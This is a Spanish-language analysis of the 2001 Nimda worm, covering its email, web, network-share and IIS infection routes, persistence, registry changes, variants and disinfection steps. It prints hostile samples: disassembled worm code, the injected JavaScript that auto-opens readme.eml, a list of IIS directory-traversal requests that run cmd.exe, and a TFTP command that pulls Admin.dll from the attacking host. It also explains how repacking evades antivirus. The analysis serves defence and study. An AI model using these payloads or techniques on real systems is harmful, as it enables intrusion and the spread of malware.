EL GUSANO NIMDA

    El 18 de Septiembre del 2001 apareció el gusano Nimda, cuando muchos usuarios comunicaron que estaban sufriendo un ataque al servidor de web, al tiempo que advirtieron también, que habían recibido un mail con lo que parecía ser un .wav, la hora de recepción de dicho mail coincidía con el inicio de los ataques de web.

    Se creyó que se trataba de una variante del Red Code, pero resultó ser un nuevo gusano llamado Nimda , cuyo nombre oficial es W32/Nimda-A.

    El Nimda afecta a todos los sistemas Microsoft Windows 95, 98, ME, NT, 2000 (¡Qué raro!, sólo a Microsoft).

ANÁLISIS

Nombre -  Nimda
Aliases -  W32/Nimda; W32/Nimda.A; W32/Nimda@mm
Fecha -  18/09/2001
Origen -  Posiblemente China
Tipo -  Gusano
Gravedad - Alto Riesgo

    Nimda puede atacar a los usuarios de Windows por tres vías diferentes: por correo electrónico, al visitar una página Web o al estar en una red local compartiendo recursos con otro ordenador infectado. Además, tiene una cuarta vía de infección que afecta a los servidores Windows basados en Internet Information Server.

1) Por correo electrónico
    Nimda se autoenvía en un mensaje de correo electrónico con el archivo "readme.exe" adjunto. Utiliza un formato HTML para explotar una conocida vulnerabilidad de Internet Explorer, heredada por Outlook y Outlook Express, de forma que puede ejecutar "readme.exe" sin necesidad de que el usuario lo abra, basta con previsualizar el mensaje en el cliente de correo.

    Para lograrlo modifica la cabecera MIME que hace referencia a "readme.exe" indicando que se trata de un archivo tipo audio/x-wav.
    De esta forma engaña a Internet Explorer, que lo abre de manera automática creyendo que se trata de un formato inofensivo, un simple archivo de sonido. El resultado es el mismo al previsualizar el mensaje en Outlook y Outlook Express, ya que los clientes de correo de Microsoft utilizan los módulos de Internet Explorer para interpretar HTML.

db 'Content-Type: audio/x-wav;',0Dh,0Ah
db 9,'name="readme.exe"',0Dh,0Ah
db 'Content-Transfer-Encoding: base64',0Dh,0Ah

2) Infección al visualizar una página Web de un servidor infectado.
    La página infectada contiene un código JavaScript que intenta abrir el archivo "readme.eml" (.EML extensión de mensaje de correo electrónico) y que explota de igual forma, con el mismo contenido, la vulnerabilidad que acabamos de comentar para autoejecutar el código del virus.

db ' ',0

3) En la red local
    Una vez que logra infectar un sistema, Nimda recorre todas las unidades locales y de red e infecta todos los directorios a los que tiene acceso. Para conseguir propagarse, por un lado crea múltiples archivos de mensajes de correo electrónico infectados con nombres aleatorios y cuya extensión es .EML en el 95% de los casos y .NWS en el 5% restante. Estos mensajes tienen el mismo contenido que los que hemos descrito en los casos anteriores, por lo que si intentamos visualizar estos archivos el virus se autoejecutará de manera automática.

    Por otro lado, también en todas las unidades locales y de red, busca archivos cuyos nombres contengan "default", "index", "main" o "readme" y cuya extensión sea .HTML, .HTM o .ASP. En estos archivos introduce el mismo código JavaScript que en el caso (2), de manera que si alguien visualiza estas páginas Web, "readme.eml" se abrirá automáticamente y se producirá la infección. También infecta ejecutables anteponiendo su código.

push offset default ; "default"
push eax
call ebp ; strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_36173585
lea eax, [esp+160h+var_120]
push offset index ; "index"

    Así, si estamos en una red local donde uno de los equipos ha sido infectado, podemos contaminarnos al intentar visualizar alguno de los archivos que crea o modifica, ya sean mensajes de correo electrónico, páginas Web o algún .EXE infectado. Estos archivos infectados los podremos encontrar si accedemos a unidades de red, o en las unidades de nuestro propio equipo si las tenemos compartidas.

    Otra manera de infectarse automáticamente en una red local, sin intentar visualizar algunos de los archivos infectados, sucede cuando el gusano se ha copiado en la carpeta Inicio de nuestro sistema al tener nuestra unidad C: totalmente compartida. Esto hace que al iniciar el sistema el archivo infectado se autoejecute.
 

4) Infección directa de un servidor Web
    Nimda intenta introducirse de forma automática en los servidores Web basados en Internet Information Server explotando varias vulnerabilidades a través de peticiones GET vía HTTP, bien buscando tener acceso al intérprete de comandos, CMD.EXE, o al archivo ROOT.EXE, un troyano que ya habría sido introducido con anterioridad al ser infectado por los gusanos Code Red II o Sadmind.

mov dword ptr [ebp-48h], offset scripts_dir ; "/scripts"
mov dword ptr [ebp-44h], offset MSADC_dir ; "/MSADC"
mov dword ptr [ebp-40h], offset aC_0 ; "/c"
mov dword ptr [ebp-3Ch], offset aD ; "/d"
mov dword ptr [ebp-38h], offset esc_char1 ; "/scripts/..%255c.."
mov dword ptr [ebp-34h], offset esc_char2 ; "/ _vti_bin/..%255c../..%255c../..%255c.."
mov dword ptr [ebp-30h], offset esc_char3 ; "/ _mem_bin/..%255c../..%255c../..%255c.."
mov dword ptr [ebp-2Ch], offset esc_char4 ; "/msadc/..%255c../..%255c../..%255c/..%c"...
mov dword ptr [ebp-28h], offset unicode_1 ; "/scripts/..%c1%1c.."
mov dword ptr [ebp-24h], offset unicode_2 ; "/scripts/..%c0%2f.."
mov dword ptr [ebp-20h], offset unicode_3 ; "/scripts/..%c0%af.."
mov dword ptr [ebp-1Ch], offset unicode_4 ; "/scripts/..%c1%9c.."
mov dword ptr [ebp-18h], offset aScripts__3563_ ; " / scripts/..%%35%63.."
mov dword ptr [ebp-14h], offset aScripts__35c__ ; " / scripts/..%%35c.."
mov dword ptr [ebp-10h], offset aScripts__25356 ; " / scripts/..%25%35%63.."
mov dword ptr [ebp-0Ch], offset aScripts__252f_ ; "/ scripts/..%252f.."

    Si el servidor es vulnerable a algunos de los ataques que Nimda lleva a cabo, aprovecha para ejecutar una sesión de TFTP y así descarga en el servidor Web el archivo ADMIN.DLL, que contiene el código vírico. Este archivo se copiará en las unidades C:, D: y E:

TFTP_GET db 'tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20',0

Clientes (casos 1, 2 y 3)

    Para evitar que Nimda pueda explotar la vulnerabilidad de Internet Explorer, e impedir así que se ejecute de forma automática el archivo "readme.exe" al visualizar un mensaje infectado, debemos tener nuestro navegador correctamente actualizado.

    Las versiones vulnerables son Internet Explorer 5.01 y 5.5 que no tengan instalado el Service Pack 2 o la actualización específica que Microsoft distribuyó para este problema. Los usuarios de Internet Explorer 6 no tienen que instalar ningún parche, no están afectados por esta vulnerabilidad.

    Esta vulnerabilidad, descubierta por Cuartango, fue corregida por Microsoft, que facilitó un parche específico para ella.

    Si tenemos el Internet Explorer correctamente actualizado, evitaremos que Nimda pueda infectarnos de forma automática, con tan sólo visualizar el mensaje en el que nos llega. Sin embargo, este parche no debe darnos una falsa sensación de seguridad total contra Nimda, ya que nos infectaríamos si abrimos el archivo adjunto.

    Por tanto, una vez más, debemos seguir recordando la regla de oro de no abrir archivos adjuntos no solicitados.

Servidores (caso 4)
    En servidores Windows, Nimda explota varias vulnerabilidades, en especial las relacionadas con la escalada de directorios a través de caracteres Unicode en la URL.

    Para lograr una protección contra todas las vulnerabilidades que intenta explotar, lo mejor es instalar el último parche acumulativo disponible según versión.

    Asimismo, no debemos olvidar inspeccionar nuestro servidor en busca de troyanos, remanentes de una infección previa del Code Red y a los que Nimda intenta acceder para lograr la infección.
 

INFECCIÓN
    Además Nimda se copia como "mmc.exe" en el directorio de Windows, como "load.exe" en el directorio de sistemas, sobreescribe la biblioteca "riched20.dll" del directorio de sistema y realiza una copia de la biblioteca infectada en todos los directorios que contengan documentos (.doc). Por último, se copia repetidas veces en el directorio temporal de Windows con nombres de archivo aleatorios que empiezan por "mep" o "ma" y terminan con las extensiones .TMP o .TMP.EXE.

    "riched20.dll" es una biblioteca de Windows que utilizan los procesadores de texto como Word o WordPad. La sustitución de esta biblioteca por una infectada hace que el Nimda se ejecute cada vez que se utilice uno de estos procesadores de texto.

    Asimismo se asegura su ejecución mediante una modificación en el system.ini:

[boot]
shell=explorer.exe load.exe -dontrunold

    A continuación modifica una entrada en el registro de Windows para que en el próximo inicio de sistema todas las unidades estén compartidas:

HKLM\Software\Microsoft\Windows\CurrentVersion\Network\ LanMan\[C$ -> Z$]

    En Windows 9x/Me las unidades estarán compartidas sin ninguna clave de acceso, mientras que en Windows NT/2000 a la cuenta GUEST le da derechos de los grupos Administrators (máximos privilegios) y Guests (invitados).

    En Windows NT/2000 elimina la clave que instaura la seguridad para compartir de recursos:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ lanmanserver\Share\Security

    Otras claves son creadas o modificadas para ocultar archivos y extensiones:

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\Advanced\ShowSuperHidden

    La infección continúa infectando archivos .EXE, anteponiendo su código, con la excepción del archivo Winzip.exe al que no infecta.

    Aunque es posible intentar la limpieza manual, a base de restaurar las claves del registro, eliminar archivos infectados o instalar de nuevo los modificados, son tantos pasos los que hay que dar que, para no eternizar esta noticia y evitar descuidos, aconsejamos el uso de las utilidades que los antivirus están facilitando para realizar la desinfección de manera automática.

Peligrosidad
    1º Degrada el funcionamiento de la red debido al alto consumo de ancho de banda durante su propagación, que es extremadamente rápida.
    2º Crea o activa la cuenta de "Guest" (invitado) con permisos de Administrador
    3º Garantiza el acceso a C:\ como recurso compartido de red, dando acceso a cualquier usuario.
    4º Busca ejecutables y DLL los infecta con el gusano.
    5º Busaca en el disco local archivos del tipo HTM, HTML, ASP y les añade un código JavaScript con el que consigue propagarse, y ejecutar el archivo llamado readme.eml que contiene en el mismo directorio una versión MIME-encoded del Nimda.

Este es JavaScript que ejecuta el readme.eml:
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
Todo aquel que visite las páginas infectadas con un navegador vulnerable, automáticamente se bajará y ejecutará el gusano. Los archivos .eml (mail) y .nws (news) hacen que el Internet Explorer muestre los contenidos del mensaje, pero dicho mensaje ha sido modificado para ejecutar el archivo adjunto "readme.exe", todo ello sin que la víctima se de cuenta.

    6º Borra todas las llaves del registro en SYSTEM\CurrentControlSet\Services\lanmanserver\Shares\Security, con lo que consigue evitar la seguridad de los recursos compartidos de red.
    7º Modifica el System.ini gracias a lo cual se ejecuta en cada inicio.

ATAQUES
Esta es una lista de los ataques que Nimda utiliza para busca otros PC´s con vulnerabilidades:

GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir

Estos son los nombres que puede tener el Nimda:
readme.exe: Nombre usado en la propagación por email
readme.eml: Nombre utilizado en la propagación mediante páginas web modificadas.
admin.dll: Este nombre es usado durante la transferencia de TFTP desde el PC atacante hasta la victima.
Este archivo es copiado al root de todos los discos. Existe un admin.dll válido, porque es parte del FrontPage Server Extensions.
mmc.exe: Nombre utilizado por el gusano durante la primera infección. Este archivo está en %Windows%\%System%. “mmc.exe” y es el ejecutable del Microsoft Management Console. El gusano lo sobrescribe si existe.
load.exe: Nombre usado por el gusano cuando se copia a si mismo %Windows%\%System%.
riched20.dll: El gusano infecta o reemplaza esta DLL. Porque varias herramientas del Office lo utilizan, incluidos Microsoft Word y WordPad, el gusano infecta estos programas si se infectan desde su mismo directorio.
 

Los puertos utilizados son
TCP 137-139, 445: NetBIOS. Estos puertos son usados durante la transmisión del gusano.
TCP 80: HyperText Transfer Protocol.El gusano lo usa cuando se transporta a través de los HTM HTML o ASP infectados.
TCP 25 SMTP: A través de este puerto se mandan los mails.
UDP 69 TFTP: Este puerto es el que usa el TFTP cuando el gusano lo ejecuta.

Desinfección
Reparar las llaves modificadas del registro:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden

El Nimda crea la siguiente llave:
HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

Todas las claves de la siguiente llave son borradas para desactivar la seguridad de los recursos compartidos:
HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares\Security

Borra la siguiente linea del system.ini y reinicia el PC:
[boot]
shell=explorer.exe load.exe -dontrunold

Los siguientes archivos son infectados por el Nimda, debes borrarlos y reponerlos de otro PC o de un Backup
MMC.EXE
LOAD.EXE
RICHED20.DLL
ADMIN.DLL
WININIT.INI
y borra todos los archivos de los directorios temporales:
\Temp\
\Windows\Temp\
\Documents and Settings\%Username%\Local Settings\Temp

Ahora reinicia.
Borra los *.eml, *.nws infectados
Borra el código JavaScript añadido al final de los HTM, HTML, ASP.
Desactiva la cuenta "Guest" (invitado) y quítale los permisos de administrador.
Comprueba los permisos de los recursos compartidos.
Actualiza tu PC con los parches adecuados.

MUTACIONES DEL NIMDA
NIMDA.B

    El 6 de Octubre se ha dado a conocer lo que parece una nueva versión de gusano NIMDA.

Se le ha dado el nombre de:
W32/Nimda.B
Win32.Nimda.B
W32/Nimda.B@MM

    Se trata de el NIMDA original pero con unas pequeñas modificaciones que lo hacen indetectable a aquellos antivirus que detectaban el NIMDA.

    En esta versión se ha comprimido el ejecutable con el PCShrink ( que es un compresor de ejecutables ) gracias a ello evita la detección del gusano, porque ahora el ejecutable se encuentra encriptado y comprimido, y por lo tanto los antivirus no lo reconocen. Cuando el archivo original es llamado por el usuario, o por el sistema, lo que se ejecuta es el compresor, que descomprime el original en la memoria, pasandole despues el control a éste, eludiendo también así la detección en este punto.

    Para evitar ser detectado por aquellos programas que buscan los archivos creados por el NIMDA, se han cambiado los nombres de estos.

    El archivo README.EXE, adjunto en los mail infectados, se llama ahora PUTA!!.SRC

    El archivo README.EML que se encontraba en el código de las páginas infectadas, se llama ahora PUTA!!.EML

    El archivo copiado en Windows/System llamado LOAD.EXE, se llama ahora PUTA.SRC

    En el SYSTEM.INI ahora aparece la siguiente linea:

[boot]
shell=explorer.exe puta.scr -dontrunold

    Para protegerse contra esta nueva variante es recomendable actualizar los antivirus.

    Los parches a aplicar para proteger nuestra computadora son los mismos que se aplicaban para protegerse del NIMDA original, puesto que esta nueva versión no posee variantes en este sentido.
 

NIMDA.C
Nombre: Nimda.c
Alias: W32/Nimda.c@mm
Alias: W32/Nimda@mm, I-Worm.Nimda

    Es sólo una versión comprimida con UPX del NIMDA.A (el primero), lo cual lo hace invisible a los antivirus preparados contra las versiones anteriores.

No hay mucho que decir, porque utiliza las mismas técnicas que el NIMDA.A

NIMDA.D
Nombre: Nimda.d
Alias: W32/Nimda.d@mm
Alias: W32/Nimda@mm, I-Worm.Nimda

    Es sólo una versión comprimida con PECompact del NIMDA.A (el primero), lo cual lo hace invisible a los antivirus preparados contra las versiones anteriores.

    No hay mucho que decir, porque utiliza las mismas técnicas que el NIMDA.A

NIMDA.E
Nombre: Nimda.e
Alias: W32/Nimda.e@mm
Alias: W32/Nimda@mm, I-Worm.Nimda
Es una versión recompilada, no comprimida del NIMDA.A (el primero), usas sus mismas técnicas, pero en esta versión el ejecutable se llama SAMPLE.EXE, y el mail SAMPLE.EML.
Algunas variantes son:

Usa el nombre COOL.DLL para subirse a los servidores web
Usa el nombre HTTPODBC.DLL para ejecutarse en los servidores
Usa el nombre CSRSS.EXE para copiarse a los servidores
Httpodbc.dll está comunmente en los sistemas con IIS y está incluido en el Windows File Protection.

Cool.dll está en los Windows 98 pero no en los NT 4.0 o Windows 2000.

Enlace al código completo del  Nimda .